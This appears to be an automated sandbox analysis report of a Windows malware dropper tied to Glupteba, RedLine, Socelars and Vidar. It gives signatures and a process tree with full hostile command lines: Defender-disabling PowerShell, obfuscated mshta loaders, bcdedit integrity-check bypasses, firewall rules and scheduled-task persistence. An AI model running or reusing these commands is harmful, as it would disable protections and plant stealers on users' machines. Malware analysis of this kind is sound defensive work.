Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    10-12-2021 21:27

General

  • Target

    aafdd6064e82ee1fc554f9278ec21c33.exe

  • Size

    14.7MB

  • MD5

    aafdd6064e82ee1fc554f9278ec21c33

  • SHA1

    c6bca49bf33bf94589a7c4fa7e258c1d214e2a6e

  • SHA256

    ec023d6b5c815745264f62bcd9a73633489ae3ed505c22f1764388493ffc4cc6

  • SHA512

    50c9158c952f4c18abd8d3f8aad3480030ff18492f17db9fd34a04de0cea0a9c03bdb708e4dd27d5538855c921f57aff4b2d63c1f9f296f3c21efc1ae3cfac3b

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 52 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 8 IoCs
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops Chrome extension 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 15 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies Internet Explorer settings 1 TTPs 40 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 19 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
    • Suspicious behavior: LoadsDriver
    PID:468
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k netsvcs
      2⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      PID:880
      • C:\Windows\system32\wbem\WMIADAP.EXE
        wmiadap.exe /F /T /R
        3⤵
          PID:2728
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:1532
    • C:\Users\Admin\AppData\Local\Temp\aafdd6064e82ee1fc554f9278ec21c33.exe
      "C:\Users\Admin\AppData\Local\Temp\aafdd6064e82ee1fc554f9278ec21c33.exe"
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:576
        • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\setup_install.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:636
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            4⤵
              PID:1060
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:268
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              4⤵
                PID:1280
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1612
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Wed0713d89fc372c9.exe
                4⤵
                • Loads dropped DLL
                PID:1148
                • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed0713d89fc372c9.exe
                  Wed0713d89fc372c9.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks processor information in registry
                  PID:1704
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c taskkill /im Wed0713d89fc372c9.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed0713d89fc372c9.exe" & del C:\ProgramData\*.dll & exit
                    6⤵
                      PID:2344
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /im Wed0713d89fc372c9.exe /f
                        7⤵
                        • Kills process with taskkill
                        PID:2992
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 6
                        7⤵
                        • Delays execution with timeout.exe
                        PID:2568
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Wed07bf5d2379fe90cd0.exe /mixtwo
                  4⤵
                  • Loads dropped DLL
                  PID:860
                  • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07bf5d2379fe90cd0.exe
                    Wed07bf5d2379fe90cd0.exe /mixtwo
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    PID:1764
                    • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07bf5d2379fe90cd0.exe
                      Wed07bf5d2379fe90cd0.exe /mixtwo
                      6⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:308
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 308 -s 480
                        7⤵
                        • Program crash
                        PID:3424
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Wed070595b0b83ed474.exe
                  4⤵
                  • Loads dropped DLL
                  PID:1672
                  • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed070595b0b83ed474.exe
                    Wed070595b0b83ed474.exe
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Checks SCSI registry key(s)
                    PID:1728
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Wed071f5c72e56397c.exe
                  4⤵
                  • Loads dropped DLL
                  PID:1200
                  • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed071f5c72e56397c.exe
                    Wed071f5c72e56397c.exe
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1428
                    • C:\Users\Admin\AppData\Local\Temp\is-T4ADG.tmp\Wed071f5c72e56397c.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-T4ADG.tmp\Wed071f5c72e56397c.tmp" /SL5="$6014C,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed071f5c72e56397c.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:1760
                      • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed071f5c72e56397c.exe
                        "C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed071f5c72e56397c.exe" /SILENT
                        7⤵
                        • Executes dropped EXE
                        PID:2240
                        • C:\Users\Admin\AppData\Local\Temp\is-2KMMT.tmp\Wed071f5c72e56397c.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-2KMMT.tmp\Wed071f5c72e56397c.tmp" /SL5="$20164,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed071f5c72e56397c.exe" /SILENT
                          8⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of FindShellTrayWindow
                          PID:2660
                          • C:\Users\Admin\AppData\Local\Temp\is-1N2V5.tmp\winhostdll.exe
                            "C:\Users\Admin\AppData\Local\Temp\is-1N2V5.tmp\winhostdll.exe" ss1
                            9⤵
                            • Executes dropped EXE
                            PID:2504
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Wed07c12a0463085d.exe
                  4⤵
                  • Loads dropped DLL
                  PID:1300
                  • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07c12a0463085d.exe
                    Wed07c12a0463085d.exe
                    5⤵
                    • Executes dropped EXE
                    PID:1752
                    • C:\Users\Admin\AppData\Local\3200e193-a459-4942-87a6-2de70bd054db.exe
                      "C:\Users\Admin\AppData\Local\3200e193-a459-4942-87a6-2de70bd054db.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:2772
                    • C:\Users\Admin\AppData\Local\22beded8-dd18-4354-8bfc-8ee50a61bb7a.exe
                      "C:\Users\Admin\AppData\Local\22beded8-dd18-4354-8bfc-8ee50a61bb7a.exe"
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:3000
                    • C:\Users\Admin\AppData\Local\f20d19a6-5690-4da2-8ad7-1c688b4b5776.exe
                      "C:\Users\Admin\AppData\Local\f20d19a6-5690-4da2-8ad7-1c688b4b5776.exe"
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:1644
                      • C:\Program Files\Internet Explorer\iexplore.exe
                        "C:\Program Files\Internet Explorer\iexplore.exe" http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20d19a6-5690-4da2-8ad7-1c688b4b5776.exe&platform=0009&osver=5&isServer=0&shimver=4.0.30319.0
                        7⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SetWindowsHookEx
                        PID:968
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:968 CREDAT:275457 /prefetch:2
                          8⤵
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:2628
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:968 CREDAT:275464 /prefetch:2
                          8⤵
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:2328
                    • C:\Users\Admin\AppData\Local\c260f55b-fb99-40c2-9404-403e7ed0a31e.exe
                      "C:\Users\Admin\AppData\Local\c260f55b-fb99-40c2-9404-403e7ed0a31e.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:1692
                      • C:\Users\Admin\AppData\Roaming\3923401.exe
                        "C:\Users\Admin\AppData\Roaming\3923401.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:2292
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\System32\mshta.exe" vBscrIPt: cloSe ( cReaTEobjeCT ( "wscRIPT.ShELL" ). rUN ("C:\Windows\system32\cmd.exe /q /c cOPy /y ""C:\Users\Admin\AppData\Roaming\3923401.exe"" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if """" == """" for %b iN ( ""C:\Users\Admin\AppData\Roaming\3923401.exe"" ) do taskkill /IM ""%~nXb"" /F" , 0, TrUE ) )
                          8⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2612
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /q /c cOPy /y "C:\Users\Admin\AppData\Roaming\3923401.exe" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if "" == "" for %b iN ( "C:\Users\Admin\AppData\Roaming\3923401.exe" ) do taskkill /IM "%~nXb" /F
                            9⤵
                              PID:772
                              • C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE
                                ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM
                                10⤵
                                • Executes dropped EXE
                                PID:2972
                                • C:\Windows\SysWOW64\mshta.exe
                                  "C:\Windows\System32\mshta.exe" vBscrIPt: cloSe ( cReaTEobjeCT ( "wscRIPT.ShELL" ). rUN ("C:\Windows\system32\cmd.exe /q /c cOPy /y ""C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE"" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if ""/PX4zG_MrDTQaqZDUFLE4FTCdM "" == """" for %b iN ( ""C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE"" ) do taskkill /IM ""%~nXb"" /F" , 0, TrUE ) )
                                  11⤵
                                  • Blocklisted process makes network request
                                  • Modifies Internet Explorer settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1752
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /q /c cOPy /y "C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if "/PX4zG_MrDTQaqZDUFLE4FTCdM " == "" for %b iN ( "C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE" ) do taskkill /IM "%~nXb" /F
                                    12⤵
                                      PID:2788
                                  • C:\Windows\SysWOW64\mshta.exe
                                    "C:\Windows\System32\mshta.exe" VbsCrIPT: ClOSe (CrEatEOBJEcT ( "wscrIPT.shELL" ). run ("cmd.EXE /c ecHo DbsHLC:\Users\Admin\AppData\Local\Temp> NG09OyO.Q~L & EchO | sET /P = ""MZ"" > Ie8u.CQ & COpY /b /Y IE8U.CQ + x6cWIo.IP + JKXHZ5zV.E + hmNWm.I + NG09OyO.Q~L ..\KSHU2.Nr & Del /Q *& STaRt odbcconf /A { REgSVR ..\KSHU2.Nr } " , 0 , TRUE ) )
                                    11⤵
                                      PID:2588
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c ecHo DbsHLC:\Users\Admin\AppData\Local\Temp> NG09OyO.Q~L & EchO | sET /P = "MZ" > Ie8u.CQ & COpY /b /Y IE8U.CQ + x6cWIo.IP+ JKXHZ5zV.E + hmNWm.I + NG09OyO.Q~L ..\KSHU2.Nr & Del /Q *& STaRt odbcconf /A { REgSVR ..\KSHU2.Nr }
                                        12⤵
                                          PID:1744
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>Ie8u.CQ"
                                            13⤵
                                              PID:2484
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /S /D /c" EchO "
                                              13⤵
                                                PID:2276
                                              • C:\Windows\SysWOW64\odbcconf.exe
                                                odbcconf /A { REgSVR ..\KSHU2.Nr }
                                                13⤵
                                                  PID:1904
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /IM "3923401.exe" /F
                                            10⤵
                                            • Kills process with taskkill
                                            PID:1840
                                    • C:\Users\Admin\AppData\Roaming\6029898.exe
                                      "C:\Users\Admin\AppData\Roaming\6029898.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      PID:1984
                                      • C:\Users\Admin\AppData\Roaming\6029898.exe
                                        "C:\Users\Admin\AppData\Roaming\6029898.exe"
                                        8⤵
                                        • Executes dropped EXE
                                        • Windows security modification
                                        • Adds Run key to start application
                                        • Drops file in Windows directory
                                        • Modifies data under HKEY_USERS
                                        PID:972
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                          9⤵
                                            PID:1100
                                            • C:\Windows\system32\netsh.exe
                                              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                              10⤵
                                              • Modifies data under HKEY_USERS
                                              PID:2688
                                          • C:\Windows\rss\csrss.exe
                                            C:\Windows\rss\csrss.exe /304-304
                                            9⤵
                                            • Drops file in Drivers directory
                                            • Executes dropped EXE
                                            • Adds Run key to start application
                                            • Modifies data under HKEY_USERS
                                            • Modifies system certificate store
                                            PID:2164
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                              10⤵
                                              • Creates scheduled task(s)
                                              PID:3132
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /delete /tn ScheduledUpdate /f
                                              10⤵
                                                PID:3152
                                              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                                                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                                                10⤵
                                                • Executes dropped EXE
                                                • Modifies system certificate store
                                                PID:3204
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3580
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3600
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3620
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3644
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3664
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3684
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3704
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3728
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3772
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3792
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3812
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -timeout 0
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3832
                                                • C:\Windows\system32\bcdedit.exe
                                                  C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                                                  11⤵
                                                  • Modifies boot configuration data using bcdedit
                                                  PID:3852
                                              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                                10⤵
                                                • Executes dropped EXE
                                                PID:3276
                                              • C:\Windows\system32\bcdedit.exe
                                                C:\Windows\Sysnative\bcdedit.exe /v
                                                10⤵
                                                • Modifies boot configuration data using bcdedit
                                                PID:3880
                                              • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                                                C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                                                10⤵
                                                • Executes dropped EXE
                                                PID:3908
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                10⤵
                                                • Creates scheduled task(s)
                                                PID:4080
                                      • C:\Users\Admin\AppData\Local\798e82a1-6e87-40f9-9fb6-4fc115bb5a71.exe
                                        "C:\Users\Admin\AppData\Local\798e82a1-6e87-40f9-9fb6-4fc115bb5a71.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        PID:2356
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed07b38bab094.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1092
                                    • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07b38bab094.exe
                                      Wed07b38bab094.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Loads dropped DLL
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:960
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 512
                                        6⤵
                                        • Program crash
                                        PID:2944
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed07eaa3b4e4812b1.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1692
                                    • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07eaa3b4e4812b1.exe
                                      Wed07eaa3b4e4812b1.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Suspicious use of SetThreadContext
                                      PID:1740
                                      • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07eaa3b4e4812b1.exe
                                        Wed07eaa3b4e4812b1.exe
                                        6⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1992
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed07636aa5b163c.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1904
                                    • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07636aa5b163c.exe
                                      Wed07636aa5b163c.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:2028
                                      • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07636aa5b163c.exe
                                        "C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed07636aa5b163c.exe" -u
                                        6⤵
                                        • Executes dropped EXE
                                        PID:1440
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed0706b9f0e2ba5177.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1648
                                    • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed0706b9f0e2ba5177.exe
                                      Wed0706b9f0e2ba5177.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      • Loads dropped DLL
                                      PID:1892
                                      • C:\Users\Admin\Pictures\Adobe Films\hf1I32GzfUbVVDdb4iaNpJ3B.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\hf1I32GzfUbVVDdb4iaNpJ3B.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        PID:2272
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1892 -s 1504
                                        6⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        • Program crash
                                        PID:2068
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed0726ebfe86a.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1908
                                    • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed0726ebfe86a.exe
                                      Wed0726ebfe86a.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Loads dropped DLL
                                      • Checks whether UAC is enabled
                                      PID:1680
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed079f2a05a148e1d7.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1924
                                    • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed079f2a05a148e1d7.exe
                                      Wed079f2a05a148e1d7.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:332
                                      • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed079f2a05a148e1d7.exe
                                        "C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed079f2a05a148e1d7.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Windows security modification
                                        • Adds Run key to start application
                                        • Drops file in Windows directory
                                        • Modifies data under HKEY_USERS
                                        PID:2948
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                          7⤵
                                            PID:1124
                                            • C:\Windows\system32\netsh.exe
                                              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                              8⤵
                                              • Modifies data under HKEY_USERS
                                              PID:1116
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Wed074e758cc1d43d.exe
                                      4⤵
                                      • Loads dropped DLL
                                      PID:900
                                      • C:\Users\Admin\AppData\Local\Temp\7zS042DA0D5\Wed074e758cc1d43d.exe
                                        Wed074e758cc1d43d.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:1172
